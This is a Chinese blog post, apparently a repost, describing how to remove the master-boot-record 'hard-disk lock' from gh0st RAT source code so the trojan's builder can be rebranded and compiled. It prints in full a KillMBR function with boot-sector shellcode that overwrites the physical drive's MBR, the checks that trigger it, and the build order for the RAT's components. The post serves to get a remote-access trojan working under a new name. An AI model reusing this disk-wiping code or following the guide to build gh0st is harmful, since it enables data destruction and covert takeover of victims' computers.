gh0st去硬盘锁

来源:互联网 发布:彼得潘大叔 知乎 编辑:程序博客网 时间:2024/05/29 17:42
这几天闲来无事,下载了个gh0st源码,由于刚开始没有仔细看是否去了硬盘锁,差点整个硬盘都费了。

gh0st硬盘锁是源码的作者为了保护版权而设置的,如果我们直接更改版权会造成硬盘被锁,中了硬盘锁的后果是非常严重的,特别是你电脑里有重要数据的时候,这样会导致你电脑里的数据全部丢失!
    如果你没去硬盘锁,又改了版权,那么打开gh0st控制端后会一闪就关闭了,这样就是中硬盘锁了,中了硬盘锁之后将不能重装系统,只能重新对硬盘进行分区。

   gh0st去硬盘锁其实很简单,主要分为以下几部:

 

1 ghost.cpp文件中注释或删除以下代码(可以搜索这段代码unsigned char scode[] = 

[cpp] view plaincopyprint?
  1. /* 
  2. unsigned char scode[] = 
  3. "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" 
  4. "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" 
  5. "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; 
  6.  
  7. int CGh0stApp::KillMBR() 
  8. { 
  9.     HANDLE hDevice; 
  10.     DWORD dwBytesWritten, dwBytesReturned; 
  11.     BYTE pMBR[512] = {0}; 
  12.      
  13.     // 重新构造MBR 
  14.     memcpy(pMBR, scode, sizeof(scode) - 1); 
  15.     pMBR[510] = 0x55; 
  16.     pMBR[511] = 0xAA; 
  17.      
  18.     hDevice = CreateFile 
  19.         ( 
  20.         "\\\\.\\PHYSICALDRIVE0", 
  21.         GENERIC_READ | GENERIC_WRITE, 
  22.         FILE_SHARE_READ | FILE_SHARE_WRITE, 
  23.         NULL, 
  24.         OPEN_EXISTING, 
  25.         0, 
  26.         NULL 
  27.         ); 
  28.     if (hDevice == INVALID_HANDLE_VALUE) 
  29.         return -1; 
  30.     DeviceIoControl 
  31.         ( 
  32.         hDevice,  
  33.         FSCTL_LOCK_VOLUME,  
  34.         NULL,  
  35.         0,  
  36.         NULL,  
  37.         0,  
  38.         &dwBytesReturned,  
  39.         NULL 
  40.         ); 
  41.     // 写入病毒内容 
  42.     WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); 
  43.     DeviceIoControl 
  44.         ( 
  45.         hDevice,  
  46.         FSCTL_UNLOCK_VOLUME,  
  47.         NULL,  
  48.         0,  
  49.         NULL,  
  50.         0,  
  51.         &dwBytesReturned,  
  52.         NULL 
  53.         ); 
  54.     CloseHandle(hDevice); 
  55.  
  56.     ExitProcess(-1); 
  57.     return 0; 
  58. } 
  59. */  


 

BuildView.cpp文件中注释或删除以下代码

 

[cpp] view plaincopyprint?
  1. /* 
  2.     char    strVer[10]; 
  3.     char    strTitle[10]; 
  4.  
  5.     strVer[0] = 'C'; 
  6.     strVer[1] = '.'; 
  7.     strVer[2] = 'R'; 
  8.     strVer[3] = 'u'; 
  9.     strVer[4] = 'f'; 
  10.     strVer[5] = 'u'; 
  11.     strVer[6] = 's'; 
  12.     strVer[7] = ' '; 
  13.     strVer[8] = 'S'; 
  14.     strVer[9] = '\0'; 
  15.  
  16.     strTitle[0] = 'G'; 
  17.     strTitle[1] = 'h'; 
  18.     strTitle[2] = '0'; 
  19.     strTitle[3] = 's'; 
  20.     strTitle[4] = 't'; 
  21.     strTitle[5] = ' '; 
  22.     strTitle[6] = 'R'; 
  23.     strTitle[7] = 'A'; 
  24.     strTitle[8] = 'T'; 
  25.     strTitle[9] = '\0'; 
  26.  
  27.     CString str; 
  28.     GetDlgItemText(IDC_STATIC_VER, str); 
  29.     if (str.Find(strVer) == -1) 
  30.         ((CGh0stApp *)AfxGetApp())->KillMBR(); 
  31.  
  32.     GetParent()->GetWindowText(str); 
  33.     if (str.Find(strTitle) == -1) 
  34.         ((CGh0stApp *)AfxGetApp())->KillMBR(); 
  35.     */  


 

ghost.h文件中注释或删除以下代码

[cpp] view plaincopyprint?
  1. //int KillMBR();  


 

即注释或删除出现KillMBR4处。

编译顺序从下往上依次编译,即先svchost files工程,然后install files工程,最后ghost files工程

0 0